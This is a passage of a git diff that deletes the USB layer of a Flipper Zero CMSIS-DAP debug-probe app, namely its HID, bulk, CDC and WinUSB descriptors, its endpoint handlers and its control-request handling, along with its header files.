sizeof(struct usb_endpoint_descriptor), - .bDescriptorType = USB_DTYPE_ENDPOINT, - .bEndpointAddress = DAP_HID_EP_IN, - .bmAttributes = USB_EPTYPE_INTERRUPT, - .wMaxPacketSize = DAP_HID_EP_SIZE, - .bInterval = DAP_HID_INTERVAL, - }, - - .hid_ep_out = - { - .bLength = sizeof(struct usb_endpoint_descriptor), - .bDescriptorType = USB_DTYPE_ENDPOINT, - .bEndpointAddress = DAP_HID_EP_OUT, - .bmAttributes = USB_EPTYPE_INTERRUPT, - .wMaxPacketSize = DAP_HID_EP_SIZE, - .bInterval = DAP_HID_INTERVAL, - }, - - // CMSIS-DAP v2 - .bulk_interface = - { - .bLength = sizeof(struct usb_interface_descriptor), - .bDescriptorType = USB_DTYPE_INTERFACE, - .bInterfaceNumber = USB_INTF_BULK, - .bAlternateSetting = 0, - .bNumEndpoints = 2, - .bInterfaceClass = USB_CLASS_VENDOR, - .bInterfaceSubClass = 0, - .bInterfaceProtocol = 0, - .iInterface = USB_STR_CMSIS_DAP_V2, - }, - - .bulk_ep_out = - { - .bLength = sizeof(struct usb_endpoint_descriptor), - .bDescriptorType = USB_DTYPE_ENDPOINT, - .bEndpointAddress = DAP_HID_EP_BULK_OUT, - .bmAttributes = USB_EPTYPE_BULK, - .wMaxPacketSize = DAP_HID_EP_SIZE, - .bInterval = DAP_BULK_INTERVAL, - }, - - .bulk_ep_in = - { - .bLength = sizeof(struct usb_endpoint_descriptor), - .bDescriptorType = USB_DTYPE_ENDPOINT, - .bEndpointAddress = DAP_HID_EP_BULK_IN, - .bmAttributes = USB_EPTYPE_BULK, - .wMaxPacketSize = DAP_HID_EP_SIZE, - .bInterval = DAP_BULK_INTERVAL, - }, - - // CDC - .iad = - { - .bLength = sizeof(struct usb_iad_descriptor), - .bDescriptorType = USB_DTYPE_INTERFASEASSOC, - .bFirstInterface = USB_INTF_CDC_COMM, - .bInterfaceCount = 2, - .bFunctionClass = USB_CLASS_CDC, - .bFunctionSubClass = USB_CDC_SUBCLASS_ACM, - .bFunctionProtocol = USB_PROTO_NONE, - .iFunction = USB_STR_COM_PORT, - }, - .interface_comm = - { - .bLength = sizeof(struct usb_interface_descriptor), - .bDescriptorType = USB_DTYPE_INTERFACE, - .bInterfaceNumber = USB_INTF_CDC_COMM, - .bAlternateSetting = 0, - .bNumEndpoints = 1, - .bInterfaceClass = USB_CLASS_CDC, - .bInterfaceSubClass = USB_CDC_SUBCLASS_ACM, - .bInterfaceProtocol = USB_PROTO_NONE, - .iInterface = 0, - }, - - .cdc_header = - { - .bFunctionLength = sizeof(struct usb_cdc_header_desc), - .bDescriptorType = USB_DTYPE_CS_INTERFACE, - .bDescriptorSubType = USB_DTYPE_CDC_HEADER, - .bcdCDC = VERSION_BCD(1, 1, 0), - }, - - .cdc_acm = - { - .bFunctionLength = sizeof(struct usb_cdc_call_mgmt_desc), - .bDescriptorType = USB_DTYPE_CS_INTERFACE, - .bDescriptorSubType = USB_DTYPE_CDC_CALL_MANAGEMENT, - // .bmCapabilities = USB_CDC_CAP_LINE | USB_CDC_CAP_BRK, - .bmCapabilities = 0, - }, - - .cdc_call_mgmt = - { - .bFunctionLength = sizeof(struct usb_cdc_acm_desc), - .bDescriptorType = USB_DTYPE_CS_INTERFACE, - .bDescriptorSubType = USB_DTYPE_CDC_ACM, - .bmCapabilities = USB_CDC_CALL_MGMT_CAP_DATA_INTF, - // .bDataInterface = USB_INTF_CDC_DATA, - }, - - .cdc_union = - { - .bFunctionLength = sizeof(struct usb_cdc_union_desc), - .bDescriptorType = USB_DTYPE_CS_INTERFACE, - .bDescriptorSubType = USB_DTYPE_CDC_UNION, - .bMasterInterface0 = USB_INTF_CDC_COMM, - .bSlaveInterface0 = USB_INTF_CDC_DATA, - }, - - .ep_comm = - { - .bLength = sizeof(struct usb_endpoint_descriptor), - .bDescriptorType = USB_DTYPE_ENDPOINT, - .bEndpointAddress = HID_EP_IN | DAP_CDC_EP_COMM, - .bmAttributes = USB_EPTYPE_INTERRUPT, - .wMaxPacketSize = DAP_CDC_COMM_EP_SIZE, - .bInterval = DAP_CDC_COMM_INTERVAL, - }, - - .interface_data = - { - .bLength = sizeof(struct usb_interface_descriptor), - .bDescriptorType = USB_DTYPE_INTERFACE, - .bInterfaceNumber = USB_INTF_CDC_DATA, - .bAlternateSetting = 0, - .bNumEndpoints = 2, - .bInterfaceClass = USB_CLASS_CDC_DATA, - .bInterfaceSubClass = USB_SUBCLASS_NONE, - .bInterfaceProtocol = USB_PROTO_NONE, - .iInterface = NO_DESCRIPTOR, - }, - - .ep_in = - { - .bLength = sizeof(struct usb_endpoint_descriptor), - .bDescriptorType = USB_DTYPE_ENDPOINT, - .bEndpointAddress = HID_EP_IN | DAP_CDC_EP_SEND, - .bmAttributes = USB_EPTYPE_BULK, - .wMaxPacketSize = DAP_CDC_EP_SIZE, - .bInterval = DAP_CDC_INTERVAL, - }, - - .ep_out = - { - .bLength = sizeof(struct usb_endpoint_descriptor), - .bDescriptorType = USB_DTYPE_ENDPOINT, - .bEndpointAddress = HID_EP_OUT | DAP_CDC_EP_RECV, - .bmAttributes = USB_EPTYPE_BULK, - .wMaxPacketSize = DAP_CDC_EP_SIZE, - .bInterval = DAP_CDC_INTERVAL, - }, -}; - -// WinUSB -#include "usb_winusb.h" - -typedef struct USB_PACK { - usb_binary_object_store_descriptor_t bos; - usb_winusb_capability_descriptor_t winusb; -} usb_bos_hierarchy_t; - -typedef struct USB_PACK { - usb_winusb_subset_header_function_t header; - usb_winusb_feature_compatble_id_t comp_id; - usb_winusb_feature_reg_property_guids_t property; -} usb_msos_descriptor_subset_t; - -typedef struct USB_PACK { - usb_winusb_set_header_descriptor_t header; - usb_msos_descriptor_subset_t subset; -} usb_msos_descriptor_set_t; - -#define USB_DTYPE_BINARY_OBJECT_STORE 15 -#define USB_DTYPE_DEVICE_CAPABILITY_DESCRIPTOR 16 -#define USB_DC_TYPE_PLATFORM 5 - -const usb_bos_hierarchy_t usb_bos_hierarchy = { - .bos = - { - .bLength = sizeof(usb_binary_object_store_descriptor_t), - .bDescriptorType = USB_DTYPE_BINARY_OBJECT_STORE, - .wTotalLength = sizeof(usb_bos_hierarchy_t), - .bNumDeviceCaps = 1, - }, - .winusb = - { - .bLength = sizeof(usb_winusb_capability_descriptor_t), - .bDescriptorType = USB_DTYPE_DEVICE_CAPABILITY_DESCRIPTOR, - .bDevCapabilityType = USB_DC_TYPE_PLATFORM, - .bReserved = 0, - .PlatformCapabilityUUID = USB_WINUSB_PLATFORM_CAPABILITY_ID, - .dwWindowsVersion = USB_WINUSB_WINDOWS_VERSION, - .wMSOSDescriptorSetTotalLength = sizeof(usb_msos_descriptor_set_t), - .bMS_VendorCode = USB_WINUSB_VENDOR_CODE, - .bAltEnumCode = 0, - }, -}; - -const usb_msos_descriptor_set_t usb_msos_descriptor_set = { - .header = - { - .wLength = sizeof(usb_winusb_set_header_descriptor_t), - .wDescriptorType = USB_WINUSB_SET_HEADER_DESCRIPTOR, - .dwWindowsVersion = USB_WINUSB_WINDOWS_VERSION, - .wDescriptorSetTotalLength = sizeof(usb_msos_descriptor_set_t), - }, - - .subset = - { - .header = - { - .wLength = sizeof(usb_winusb_subset_header_function_t), - .wDescriptorType = USB_WINUSB_SUBSET_HEADER_FUNCTION, - .bFirstInterface = USB_INTF_BULK, - .bReserved = 0, - .wSubsetLength = sizeof(usb_msos_descriptor_subset_t), - }, - - .comp_id = - { - .wLength = sizeof(usb_winusb_feature_compatble_id_t), - .wDescriptorType = USB_WINUSB_FEATURE_COMPATBLE_ID, - .CompatibleID = "WINUSB\0\0", - .SubCompatibleID = {0}, - }, - - .property = - { - .wLength = sizeof(usb_winusb_feature_reg_property_guids_t), - .wDescriptorType = USB_WINUSB_FEATURE_REG_PROPERTY, - .wPropertyDataType = USB_WINUSB_PROPERTY_DATA_TYPE_MULTI_SZ, - .wPropertyNameLength = - sizeof(usb_msos_descriptor_set.subset.property.PropertyName), - .PropertyName = {'D', 0, 'e', 0, 'v', 0, 'i', 0, 'c', 0, 'e', 0, 'I', 0, - 'n', 0, 't', 0, 'e', 0, 'r', 0, 'f', 0, 'a', 0, 'c', 0, - 'e', 0, 'G', 0, 'U', 0, 'I', 0, 'D', 0, 's', 0, 0, 0}, - .wPropertyDataLength = - sizeof(usb_msos_descriptor_set.subset.property.PropertyData), - .PropertyData = {'{', 0, 'C', 0, 'D', 0, 'B', 0, '3', 0, 'B', 0, '5', 0, - 'A', 0, 'D', 0, '-', 0, '2', 0, '9', 0, '3', 0, 'B', 0, - '-', 0, '4', 0, '6', 0, '6', 0, '3', 0, '-', 0, 'A', 0, - 'A', 0, '3', 0, '6', 0, '-', 0, '1', 0, 'A', 0, 'A', 0, - 'E', 0, '4', 0, '6', 0, '4', 0, '6', 0, '3', 0, '7', 0, - '7', 0, '6', 0, '}', 0, 0, 0, 0, 0}, - }, - }, -}; - -typedef struct { - FuriSemaphore* semaphore_v1; - FuriSemaphore* semaphore_v2; - FuriSemaphore* semaphore_cdc; - bool connected; - usbd_device* usb_dev; - DapStateCallback state_callback; - DapRxCallback rx_callback_v1; - DapRxCallback rx_callback_v2; - DapRxCallback rx_callback_cdc; - DapCDCControlLineCallback control_line_callback_cdc; - DapCDCConfigCallback config_callback_cdc; - void* context; - void* context_cdc; -} DAPState; - -static DAPState dap_state = { - .semaphore_v1 = NULL, - .semaphore_v2 = NULL, - .semaphore_cdc = NULL, - .connected = false, - .usb_dev = NULL, - .state_callback = NULL, - .rx_callback_v1 = NULL, - .rx_callback_v2 = NULL, - .rx_callback_cdc = NULL, - .control_line_callback_cdc = NULL, - .config_callback_cdc = NULL, - .context = NULL, - .context_cdc = NULL, -}; - -static struct usb_cdc_line_coding cdc_config = {0}; -static uint8_t cdc_ctrl_line_state = 0; - -#ifdef DAP_USB_LOG -void furi_console_log_printf(const char* format, ...) _ATTRIBUTE((__format__(__printf__, 1, 2))); - -void furi_console_log_printf(const char* format, ...) { - char buffer[256]; - va_list args; - va_start(args, format); - vsnprintf(buffer, sizeof(buffer), format, args); - va_end(args); - furi_hal_console_puts(buffer); - furi_hal_console_puts("\r\n"); - UNUSED(format); -} -#else -#define furi_console_log_printf(...) -#endif - -int32_t dap_v1_usb_tx(uint8_t* buffer, uint8_t size) { - if((dap_state.semaphore_v1 == NULL) || (dap_state.connected == false)) return 0; - - furi_check(furi_semaphore_acquire(dap_state.semaphore_v1, FuriWaitForever) == FuriStatusOk); - - if(dap_state.connected) { - int32_t len = usbd_ep_write(dap_state.usb_dev, DAP_HID_EP_IN, buffer, size); - furi_console_log_printf("v1 tx %ld", len); - return len; - } else { - return 0; - } -} - -int32_t dap_v2_usb_tx(uint8_t* buffer, uint8_t size) { - if((dap_state.semaphore_v2 == NULL) || (dap_state.connected == false)) return 0; - - furi_check(furi_semaphore_acquire(dap_state.semaphore_v2, FuriWaitForever) == FuriStatusOk); - - if(dap_state.connected) { - int32_t len = usbd_ep_write(dap_state.usb_dev, DAP_HID_EP_BULK_IN, buffer, size); - furi_console_log_printf("v2 tx %ld", len); - return len; - } else { - return 0; - } -} - -int32_t dap_cdc_usb_tx(uint8_t* buffer, uint8_t size) { - if((dap_state.semaphore_cdc == NULL) || (dap_state.connected == false)) return 0; - - furi_check(furi_semaphore_acquire(dap_state.semaphore_cdc, FuriWaitForever) == FuriStatusOk); - - if(dap_state.connected) { - int32_t len = usbd_ep_write(dap_state.usb_dev, HID_EP_IN | DAP_CDC_EP_SEND, buffer, size); - furi_console_log_printf("cdc tx %ld", len); - return len; - } else { - return 0; - } -} - -void dap_v1_usb_set_rx_callback(DapRxCallback callback) { - dap_state.rx_callback_v1 = callback; -} - -void dap_v2_usb_set_rx_callback(DapRxCallback callback) { - dap_state.rx_callback_v2 = callback; -} - -void dap_cdc_usb_set_rx_callback(DapRxCallback callback) { - dap_state.rx_callback_cdc = callback; -} - -void dap_cdc_usb_set_control_line_callback(DapCDCControlLineCallback callback) { - dap_state.control_line_callback_cdc = callback; -} - -void dap_cdc_usb_set_config_callback(DapCDCConfigCallback callback) { - dap_state.config_callback_cdc = callback; -} - -void dap_cdc_usb_set_context(void* context) { - dap_state.context_cdc = context; -} - -void dap_common_usb_set_context(void* context) { - dap_state.context = context; -} - -void dap_common_usb_set_state_callback(DapStateCallback callback) { - dap_state.state_callback = callback; -} - -static void* dap_usb_alloc_string_descr(const char* str) { - furi_assert(str); - - size_t len = strlen(str); - size_t wlen = (len + 1) * sizeof(uint16_t); - struct usb_string_descriptor* dev_str_desc = malloc(wlen); - dev_str_desc->bLength = wlen; - dev_str_desc->bDescriptorType = USB_DTYPE_STRING; - for(size_t i = 0; i < len; i++) { - dev_str_desc->wString[i] = str[i]; - } - - return dev_str_desc; -} - -void dap_common_usb_alloc_name(const char* name) { - dev_serial_descr = dap_usb_alloc_string_descr(name); -} - -void dap_common_usb_free_name() { - free(dev_serial_descr); -} - -static void hid_init(usbd_device* dev, FuriHalUsbInterface* intf, void* ctx); -static void hid_deinit(usbd_device* dev); -static void hid_on_wakeup(usbd_device* dev); -static void hid_on_suspend(usbd_device* dev); - -static usbd_respond hid_ep_config(usbd_device* dev, uint8_t cfg); -static usbd_respond hid_control(usbd_device* dev, usbd_ctlreq* req, usbd_rqc_callback* callback); - -FuriHalUsbInterface dap_v2_usb_hid = { - .init = hid_init, - .deinit = hid_deinit, - .wakeup = hid_on_wakeup, - .suspend = hid_on_suspend, - .dev_descr = (struct usb_device_descriptor*)&hid_device_desc, - .cfg_descr = (void*)&hid_cfg_desc, -}; - -static void hid_init(usbd_device* dev, FuriHalUsbInterface* intf, void* ctx) { - UNUSED(intf); - UNUSED(ctx); - - dap_v2_usb_hid.str_manuf_descr = (void*)&dev_manuf_descr; - dap_v2_usb_hid.str_prod_descr = (void*)&dev_prod_descr; - dap_v2_usb_hid.str_serial_descr = (void*)dev_serial_descr; - - dap_state.usb_dev = dev; - if(dap_state.semaphore_v1 == NULL) dap_state.semaphore_v1 = furi_semaphore_alloc(1, 1); - if(dap_state.semaphore_v2 == NULL) dap_state.semaphore_v2 = furi_semaphore_alloc(1, 1); - if(dap_state.semaphore_cdc == NULL) dap_state.semaphore_cdc = furi_semaphore_alloc(1, 1); - - usbd_reg_config(dev, hid_ep_config); - usbd_reg_control(dev, hid_control); - - usbd_connect(dev, true); -} - -static void hid_deinit(usbd_device* dev) { - dap_state.usb_dev = NULL; - - furi_semaphore_free(dap_state.semaphore_v1); - furi_semaphore_free(dap_state.semaphore_v2); - furi_semaphore_free(dap_state.semaphore_cdc); - dap_state.semaphore_v1 = NULL; - dap_state.semaphore_v2 = NULL; - dap_state.semaphore_cdc = NULL; - - usbd_reg_config(dev, NULL); - usbd_reg_control(dev, NULL); -} - -static void hid_on_wakeup(usbd_device* dev) { - UNUSED(dev); - if(!dap_state.connected) { - dap_state.connected = true; - if(dap_state.state_callback != NULL) { - dap_state.state_callback(dap_state.connected, dap_state.context); - } - } -} - -static void hid_on_suspend(usbd_device* dev) { - UNUSED(dev); - if(dap_state.connected) { - dap_state.connected = false; - if(dap_state.state_callback != NULL) { - dap_state.state_callback(dap_state.connected, dap_state.context); - } - } -} - -size_t dap_v1_usb_rx(uint8_t* buffer, size_t size) { - size_t len = 0; - - if(dap_state.connected) { - len = usbd_ep_read(dap_state.usb_dev, DAP_HID_EP_OUT, buffer, size); - } - - return len; -} - -size_t dap_v2_usb_rx(uint8_t* buffer, size_t size) { - size_t len = 0; - - if(dap_state.connected) { - len = usbd_ep_read(dap_state.usb_dev, DAP_HID_EP_BULK_OUT, buffer, size); - } - - return len; -} - -size_t dap_cdc_usb_rx(uint8_t* buffer, size_t size) { - size_t len = 0; - - if(dap_state.connected) { - len = usbd_ep_read(dap_state.usb_dev, HID_EP_OUT | DAP_CDC_EP_RECV, buffer, size); - } - - return len; -} - -static void hid_txrx_ep_callback(usbd_device* dev, uint8_t event, uint8_t ep) { - UNUSED(dev); - UNUSED(ep); - - switch(event) { - case usbd_evt_eptx: - furi_semaphore_release(dap_state.semaphore_v1); - furi_console_log_printf("hid tx complete"); - break; - case usbd_evt_eprx: - if(dap_state.rx_callback_v1 != NULL) { - dap_state.rx_callback_v1(dap_state.context); - } - break; - default: - furi_console_log_printf("hid %d, %d", event, ep); - break; - } -} - -static void hid_txrx_ep_bulk_callback(usbd_device* dev, uint8_t event, uint8_t ep) { - UNUSED(dev); - UNUSED(ep); - - switch(event) { - case usbd_evt_eptx: - furi_semaphore_release(dap_state.semaphore_v2); - furi_console_log_printf("bulk tx complete"); - break; - case usbd_evt_eprx: - if(dap_state.rx_callback_v2 != NULL) { - dap_state.rx_callback_v2(dap_state.context); - } - break; - default: - furi_console_log_printf("bulk %d, %d", event, ep); - break; - } -} - -static void cdc_txrx_ep_callback(usbd_device* dev, uint8_t event, uint8_t ep) { - UNUSED(dev); - UNUSED(ep); - - switch(event) { - case usbd_evt_eptx: - furi_semaphore_release(dap_state.semaphore_cdc); - furi_console_log_printf("cdc tx complete"); - break; - case usbd_evt_eprx: - if(dap_state.rx_callback_cdc != NULL) { - dap_state.rx_callback_cdc(dap_state.context_cdc); - } - break; - default: - furi_console_log_printf("cdc %d, %d", event, ep); - break; - } -} - -static usbd_respond hid_ep_config(usbd_device* dev, uint8_t cfg) { - switch(cfg) { - case EP_CFG_DECONFIGURE: - usbd_ep_deconfig(dev, DAP_HID_EP_OUT); - usbd_ep_deconfig(dev, DAP_HID_EP_IN); - usbd_ep_deconfig(dev, DAP_HID_EP_BULK_IN); - usbd_ep_deconfig(dev, DAP_HID_EP_BULK_OUT); - usbd_ep_deconfig(dev, HID_EP_IN | DAP_CDC_EP_COMM); - usbd_ep_deconfig(dev, HID_EP_IN | DAP_CDC_EP_SEND); - usbd_ep_deconfig(dev, HID_EP_OUT | DAP_CDC_EP_RECV); - usbd_reg_endpoint(dev, DAP_HID_EP_OUT, NULL); - usbd_reg_endpoint(dev, DAP_HID_EP_IN, NULL); - usbd_reg_endpoint(dev, DAP_HID_EP_BULK_IN, NULL); - usbd_reg_endpoint(dev, DAP_HID_EP_BULK_OUT, NULL); - usbd_reg_endpoint(dev, HID_EP_IN | DAP_CDC_EP_SEND, 0); - usbd_reg_endpoint(dev, HID_EP_OUT | DAP_CDC_EP_RECV, 0); - return usbd_ack; - case EP_CFG_CONFIGURE: - usbd_ep_config(dev, DAP_HID_EP_IN, USB_EPTYPE_INTERRUPT, DAP_HID_EP_SIZE); - usbd_ep_config(dev, DAP_HID_EP_OUT, USB_EPTYPE_INTERRUPT, DAP_HID_EP_SIZE); - usbd_ep_config(dev, DAP_HID_EP_BULK_OUT, USB_EPTYPE_BULK, DAP_HID_EP_SIZE); - usbd_ep_config(dev, DAP_HID_EP_BULK_IN, USB_EPTYPE_BULK, DAP_HID_EP_SIZE); - usbd_ep_config(dev, HID_EP_OUT | DAP_CDC_EP_RECV, USB_EPTYPE_BULK, DAP_CDC_EP_SIZE); - usbd_ep_config(dev, HID_EP_IN | DAP_CDC_EP_SEND, USB_EPTYPE_BULK, DAP_CDC_EP_SIZE); - usbd_ep_config(dev, HID_EP_IN | DAP_CDC_EP_COMM, USB_EPTYPE_INTERRUPT, DAP_CDC_EP_SIZE); - usbd_reg_endpoint(dev, DAP_HID_EP_IN, hid_txrx_ep_callback); - usbd_reg_endpoint(dev, DAP_HID_EP_OUT, hid_txrx_ep_callback); - usbd_reg_endpoint(dev, DAP_HID_EP_BULK_OUT, hid_txrx_ep_bulk_callback); - usbd_reg_endpoint(dev, DAP_HID_EP_BULK_IN, hid_txrx_ep_bulk_callback); - usbd_reg_endpoint(dev, HID_EP_OUT | DAP_CDC_EP_RECV, cdc_txrx_ep_callback); - usbd_reg_endpoint(dev, HID_EP_IN | DAP_CDC_EP_SEND, cdc_txrx_ep_callback); - // usbd_ep_write(dev, DAP_HID_EP_IN, NULL, 0); - // usbd_ep_write(dev, DAP_HID_EP_BULK_IN, NULL, 0); - // usbd_ep_write(dev, HID_EP_IN | DAP_CDC_EP_SEND, NULL, 0); - return usbd_ack; - default: - return usbd_fail; - } -} - -#ifdef DAP_USB_LOG -static void dump_request_type(uint8_t type) { - switch(type & USB_REQ_DIRECTION) { - case USB_REQ_HOSTTODEV: - furi_hal_console_puts("host to dev, "); - break; - case USB_REQ_DEVTOHOST: - furi_hal_console_puts("dev to host, "); - break; - } - - switch(type & USB_REQ_TYPE) { - case USB_REQ_STANDARD: - furi_hal_console_puts("standard, "); - break; - case USB_REQ_CLASS: - furi_hal_console_puts("class, "); - break; - case USB_REQ_VENDOR: - furi_hal_console_puts("vendor, "); - break; - } - - switch(type & USB_REQ_RECIPIENT) { - case USB_REQ_DEVICE: - furi_hal_console_puts("device"); - break; - case USB_REQ_INTERFACE: - furi_hal_console_puts("interface"); - break; - case USB_REQ_ENDPOINT: - furi_hal_console_puts("endpoint"); - break; - case USB_REQ_OTHER: - furi_hal_console_puts("other"); - break; - } - - furi_hal_console_puts("\r\n"); -} -#else -#define dump_request_type(...) -#endif - -static usbd_respond hid_control(usbd_device* dev, usbd_ctlreq* req, usbd_rqc_callback* callback) { - UNUSED(callback); - - dump_request_type(req->bmRequestType); - furi_console_log_printf( - "control: RT %02x, R %02x, V %04x, I %04x, L %04x", - req->bmRequestType, - req->bRequest, - req->wValue, - req->wIndex, - req->wLength); - - if(((USB_REQ_RECIPIENT | USB_REQ_TYPE | USB_REQ_DIRECTION) & req->bmRequestType) == - (USB_REQ_STANDARD | USB_REQ_VENDOR | USB_REQ_DEVTOHOST)) { - // vendor request, device to host - furi_console_log_printf("vendor request"); - if(USB_WINUSB_VENDOR_CODE == req->bRequest) { - // WINUSB request - if(USB_WINUSB_DESCRIPTOR_INDEX == req->wIndex) { - furi_console_log_printf("WINUSB descriptor"); - uint16_t length = req->wLength; - if(length > sizeof(usb_msos_descriptor_set_t)) { - length = sizeof(usb_msos_descriptor_set_t); - } - - dev->status.data_ptr = (uint8_t*)&usb_msos_descriptor_set; - dev->status.data_count = length; - return usbd_ack; - } - } - } - - if(((USB_REQ_RECIPIENT | USB_REQ_TYPE) & req->bmRequestType) == - (USB_REQ_STANDARD | USB_REQ_DEVICE)) { - // device request - if(req->bRequest == USB_STD_GET_DESCRIPTOR) { - const uint8_t dtype = req->wValue >> 8; - const uint8_t dnumber = req->wValue & 0xFF; - // get string descriptor - if(USB_DTYPE_STRING == dtype) { - if(dnumber == USB_STR_CMSIS_DAP_V1) { - furi_console_log_printf("str CMSIS-DAP v1"); - dev->status.data_ptr = (uint8_t*)&dev_dap_v1_descr; - dev->status.data_count = dev_dap_v1_descr.bLength; - return usbd_ack; - } else if(dnumber == USB_STR_CMSIS_DAP_V2) { - furi_console_log_printf("str CMSIS-DAP v2"); - dev->status.data_ptr = (uint8_t*)&dev_dap_v2_descr; - dev->status.data_count = dev_dap_v2_descr.bLength; - return usbd_ack; - } else if(dnumber == USB_STR_COM_PORT) { - furi_console_log_printf("str COM port"); - dev->status.data_ptr = (uint8_t*)&dev_com_descr; - dev->status.data_count = dev_com_descr.bLength; - return usbd_ack; - } - } else if(USB_DTYPE_BINARY_OBJECT_STORE == dtype) { - furi_console_log_printf("BOS descriptor"); - uint16_t length = req->wLength; - if(length > sizeof(usb_bos_hierarchy_t)) { - length = sizeof(usb_bos_hierarchy_t); - } - dev->status.data_ptr = (uint8_t*)&usb_bos_hierarchy; - dev->status.data_count = length; - return usbd_ack; - } - } - } - - if(((USB_REQ_RECIPIENT | USB_REQ_TYPE) & req->bmRequestType) == - (USB_REQ_INTERFACE | USB_REQ_CLASS) && - req->wIndex == 0) { - // class request - switch(req->bRequest) { - // get hid descriptor - case USB_HID_GETREPORT: - furi_console_log_printf("get report"); - return usbd_fail; - // set hid idle - case USB_HID_SETIDLE: - furi_console_log_printf("set idle"); - return usbd_ack; - default: - break; - } - } - - if(((USB_REQ_RECIPIENT | USB_REQ_TYPE) & req->bmRequestType) == - (USB_REQ_INTERFACE | USB_REQ_CLASS) && - req->wIndex == 2) { - // class request - switch(req->bRequest) { - // control line state - case USB_CDC_SET_CONTROL_LINE_STATE: - furi_console_log_printf("set control line state"); - cdc_ctrl_line_state = req->wValue; - if(dap_state.control_line_callback_cdc != NULL) { - dap_state.control_line_callback_cdc(cdc_ctrl_line_state, dap_state.context_cdc); - } - return usbd_ack; - // set cdc line coding - case USB_CDC_SET_LINE_CODING: - furi_console_log_printf("set line coding"); - memcpy(&cdc_config, req->data, sizeof(cdc_config)); - if(dap_state.config_callback_cdc != NULL) { - dap_state.config_callback_cdc(&cdc_config, dap_state.context_cdc); - } - return usbd_ack; - // get cdc line coding - case USB_CDC_GET_LINE_CODING: - furi_console_log_printf("get line coding"); - dev->status.data_ptr = &cdc_config; - dev->status.data_count = sizeof(cdc_config); - return usbd_ack; - default: - break; - } - } - - if(((USB_REQ_RECIPIENT | USB_REQ_TYPE) & req->bmRequestType) == - (USB_REQ_INTERFACE | USB_REQ_STANDARD) && - req->wIndex == 0 && req->bRequest == USB_STD_GET_DESCRIPTOR) { - // standard request - switch(req->wValue >> 8) { - // get hid descriptor - case USB_DTYPE_HID: - furi_console_log_printf("get hid descriptor"); - dev->status.data_ptr = (uint8_t*)&(hid_cfg_desc.hid); - dev->status.data_count = sizeof(hid_cfg_desc.hid); - return usbd_ack; - // get hid report descriptor - case USB_DTYPE_HID_REPORT: - furi_console_log_printf("get hid report descriptor"); - dev->status.data_ptr = (uint8_t*)hid_report_desc; - dev->status.data_count = sizeof(hid_report_desc); - return usbd_ack; - default: - break; - } - } - - return usbd_fail; -} diff --git a/applications/external/dap_link/usb/dap_v2_usb.h b/applications/external/dap_link/usb/dap_v2_usb.h deleted file mode 100644 index 3f1534ffd..000000000 --- a/applications/external/dap_link/usb/dap_v2_usb.h +++ /dev/null @@ -1,53 +0,0 @@ -#pragma once -#include -#include - -extern FuriHalUsbInterface dap_v2_usb_hid; - -// receive callback type -typedef void (*DapRxCallback)(void* context); - -typedef void (*DapStateCallback)(bool state, void* context); - -/************************************ V1 ***************************************/ - -int32_t dap_v1_usb_tx(uint8_t* buffer, uint8_t size); - -size_t dap_v1_usb_rx(uint8_t* buffer, size_t size); - -void dap_v1_usb_set_rx_callback(DapRxCallback callback); - -/************************************ V2 ***************************************/ - -int32_t dap_v2_usb_tx(uint8_t* buffer, uint8_t size); - -size_t dap_v2_usb_rx(uint8_t* buffer, size_t size); - -void dap_v2_usb_set_rx_callback(DapRxCallback callback); - -/************************************ CDC **************************************/ - -typedef void (*DapCDCControlLineCallback)(uint8_t state, void* context); -typedef void (*DapCDCConfigCallback)(struct usb_cdc_line_coding* config, void* context); - -int32_t dap_cdc_usb_tx(uint8_t* buffer, uint8_t size); - -size_t dap_cdc_usb_rx(uint8_t* buffer, size_t size); - -void dap_cdc_usb_set_rx_callback(DapRxCallback callback); - -void dap_cdc_usb_set_control_line_callback(DapCDCControlLineCallback callback); - -void dap_cdc_usb_set_config_callback(DapCDCConfigCallback callback); - -void dap_cdc_usb_set_context(void* context); - -/*********************************** Common ************************************/ - -void dap_common_usb_set_context(void* context); - -void dap_common_usb_set_state_callback(DapStateCallback callback); - -void dap_common_usb_alloc_name(const char* name); - -void dap_common_usb_free_name(); diff --git a/applications/external/dap_link/usb/usb_winusb.h b/applications/external/dap_link/usb/usb_winusb.h deleted file mode 100644 index 9c3a172dc..000000000 --- a/applications/external/dap_link/usb/usb_winusb.h +++ /dev/null @@ -1,143 +0,0 @@ -#pragma once -#include - -/*- Definitions -------------------------------------------------------------*/ - -#define USB_PACK __attribute__((packed)) - -#define USB_WINUSB_VENDOR_CODE 0x20 - -#define USB_WINUSB_WINDOWS_VERSION 0x06030000 // Windows 8.1 - -#define USB_WINUSB_PLATFORM_CAPABILITY_ID \ - { \ - 0xdf, 0x60, 0xdd, 0xd8, 0x89, 0x45, 0xc7, 0x4c, 0x9c, 0xd2, 0x65, 0x9d, 0x9e, 0x64, 0x8a, \ - 0x9f \ - } - -enum // WinUSB Microsoft OS 2.0 descriptor request codes -{ - USB_WINUSB_DESCRIPTOR_INDEX = 0x07, - USB_WINUSB_SET_ALT_ENUMERATION = 0x08, -}; - -enum // wDescriptorType -{ - USB_WINUSB_SET_HEADER_DESCRIPTOR = 0x00, - USB_WINUSB_SUBSET_HEADER_CONFIGURATION = 0x01, - USB_WINUSB_SUBSET_HEADER_FUNCTION = 0x02, - USB_WINUSB_FEATURE_COMPATBLE_ID = 0x03, - USB_WINUSB_FEATURE_REG_PROPERTY = 0x04, - USB_WINUSB_FEATURE_MIN_RESUME_TIME = 0x05, - USB_WINUSB_FEATURE_MODEL_ID = 0x06, - USB_WINUSB_FEATURE_CCGP_DEVICE = 0x07, - USB_WINUSB_FEATURE_VENDOR_REVISION = 0x08, -}; - -enum // wPropertyDataType -{ - USB_WINUSB_PROPERTY_DATA_TYPE_SZ = 1, - USB_WINUSB_PROPERTY_DATA_TYPE_EXPAND_SZ = 2, - USB_WINUSB_PROPERTY_DATA_TYPE_BINARY = 3, - USB_WINUSB_PROPERTY_DATA_TYPE_DWORD_LITTLE_ENDIAN = 4, - USB_WINUSB_PROPERTY_DATA_TYPE_DWORD_BIG_ENDIAN = 5, - USB_WINUSB_PROPERTY_DATA_TYPE_LINK = 6, - USB_WINUSB_PROPERTY_DATA_TYPE_MULTI_SZ = 7, -}; - -/*- Types BOS -------------------------------------------------------------------*/ - -typedef struct USB_PACK { - uint8_t bLength; - uint8_t bDescriptorType; - uint16_t wTotalLength; - uint8_t bNumDeviceCaps; -} usb_binary_object_store_descriptor_t; - -/*- Types WinUSB -------------------------------------------------------------------*/ - -typedef struct USB_PACK { - uint8_t bLength; - uint8_t bDescriptorType; - uint8_t bDevCapabilityType; - 